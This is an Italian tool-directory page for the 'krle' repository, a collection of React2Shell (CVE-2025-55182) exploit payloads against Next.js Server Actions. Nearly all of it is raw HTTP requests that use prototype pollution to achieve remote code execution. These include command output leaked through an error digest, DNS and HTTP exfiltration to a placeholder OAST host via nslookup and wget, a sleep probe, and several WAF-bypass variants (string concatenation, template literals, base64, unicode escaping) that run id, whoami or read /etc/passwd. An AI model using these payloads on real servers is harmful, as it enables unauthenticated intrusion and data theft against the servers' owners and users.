Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
krle — CVE-2025-55182 e CVE-2025-66478 prove di concetto | Kitploit
Strumenti/GitHubGitHub/aseemyash/krle
ExploitSfruttamento di Applicazioni WebEsfiltrazione DatiBypass WAFPenetration TestingSviluppo Payload
GitHubaseemyash/krle

krle

CVE-2025-55182 e CVE-2025-66478 prove di concetto

Vedi Repository
8 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) è una catena di vulnerabilità critica di esecuzione remota di codice (RCE) che colpisce le applicazioni Next.js che utilizzano Server Actions. La vulnerabilità sfrutta una vulnerabilità di prototype pollution in combinazione con Server Actions per ottenere l'esecuzione di codice arbitrario non autenticata sul server.

Questo repository è dedicato alla condivisione di payload e bypass di React2Shell. PR/contributi sono sempre benvenuti!

PoC

Risorse

Di seguito trovi ulteriori risorse che potrebbero esserti utili:

  • Scanner React2Shell di Assetnote: https://github.com/assetnote/react2shell-scanner
  • Template Nuclei: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

Payload

Proof of concept originale

Tutti i crediti vanno a @maple3142 per la divulgazione iniziale del proof of concept che puoi trovare in questo GitHub Gist:

root@kitploit:~
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

RCE completa con output tramite messaggio di errore (campo digest)

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

PoC

Attivare una query DNS esterna

Sostituisci <OAST_SERVER> con l'hostname del tuo server OAST.

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Esfiltrazione DNS

Sostituisci <OAST_SERVER> con l'hostname del tuo server OAST.

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Esfiltrazione HTTP

Sostituisci <OAST_SERVER> con l'hostname del tuo server OAST.

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Attivare un ritardo temporale

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Bypass dei WAF con concatenazione di stringhe ed encoding

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c='child'+'_'+'pro'+'cess';var e='exec'+'Sync';var cp=process['main'+'Module']['require'](https://github.com/aseemyash/krle/blob/HEAD/c);var cmd='who'+'ami';var res=cp[e](https://github.com/aseemyash/krle/blob/HEAD/cmd)['to'+'String']();throw Object['assign'](new Error('NEXT'+'_'+'REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ--

Bypass dei WAF con escaping Unicode e template literal

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: q8w2e5r7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH9jK2mP5qR8vX3zC
X-Nextjs-Html-Request-Id: L4kJ7hG9fD2sA6zX
Content-Length: 780

------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var a=process[`main${''}Module`][`req${''}uire`](https://github.com/aseemyash/krle/blob/HEAD/%60child$%7B%27_%27%7Dprocess%60);var b=a[`exe${''}cSync`](https://github.com/aseemyash/krle/blob/HEAD/%60who$%7B%27%27%7Dami%60);var c=b[`toS${''}tring`]();throw Object[`ass${''}ign`](new Error(`NEXT${'_'}REDIRECT`),{digest:c});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryH9jK2mP5qR8vX3zC--

Bypass dei WAF con payload codificato in Base64

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: z5x8c3v6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP6oI9uY2tR5eW8qA
X-Nextjs-Html-Request-Id: M3nB6vC9xZ4wE7rT
Content-Length: 820

------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var B=Buffer['from'];var s=B('Y2hpbGRfcHJvY2Vzcw==','base64')['toString']();var cp=process['mainModule']['require'](https://github.com/aseemyash/krle/blob/HEAD/s);var cmd=B('aWQ=','base64')['toString']();var res=cp['execSync'](https://github.com/aseemyash/krle/blob/HEAD/cmd)['toString']();throw Object['assign'](new Error(B('TkVYVF9SRURJUkVDVA==','base64')['toString']()),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryP6oI9uY2tR5eW8qA--

Bypass del WAF tramite codifica unicode completa

I crediti vanno a @pyn3rd

root@kitploit:~
POST / HTTP/1.1
Host: localhost
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Next-Html-Request-Id: abe3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Length: 2349

------WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Disposition: form-data; name="0"

{
  "\u0074\u0068\u0065\u006e":
    "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e",
  "\u0073\u0074\u0061\u0074\u0075\u0073":
    "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c",
    "\u0076\u0061\u006c\u0075\u0065": {
      "\u0076\u0061\u006c\u0075\u0065":
        "\u0076\u0022\u0074\u006d\u0069\u006e\u0065\u0022\u003a\u0022\u0024\u0042\u0031\u0033\u0033\u0037\u0022\u007d",
      "\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0065": {
        "\u005f\u0070\u0072\u0065\u0066\u0069\u0078\u0078":
          "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u003d\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u0072\u0075\u006e\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u002c\u005b\u0027\u0063\u0061\u0074\u0020\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064\u0027\u005d\u002c\u007b\u0027\u0065\u006e\u0063\u006f\u0064\u0069\u006e\u0067\u0027\u003a\u0027\u0075\u0074\u0066\u0038\u0027\u007d\u0029\u003b\u0072\u0065\u0073\u003d\u0072\u0065\u0073\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u003b\u0072\u0065\u0073\u003d\u0042\u0031\u0033\u0033\u0037\u002b\u0072\u0065\u0073\u003b\u0072\u0065\u0073\u002b\u003d\u0042\u0031\u0033\u0033\u0037",
        "\u006f\u0070\u0074\u0069\u006f\u006e\u0073\u006e\u0065\u003f\u0061\u003d\u0024\u007b\u0072\u0065\u0073\u007d\u003b\u0033\u0030\u0037\u003b\u0060\u007d\u0029\u003b",
        "\u005f\u0063\u0068\u0075\u006e\u006b\u0073": "\u0024\u0051\u0032",
        "\u005f\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0049\u006e\u0064\u0065\u0078": {
          "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072":
            "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
        }
      }
  }
}
------WebKitFormBoundaryZ8VskeuqzXXMdwxw--
Scarica lo strumento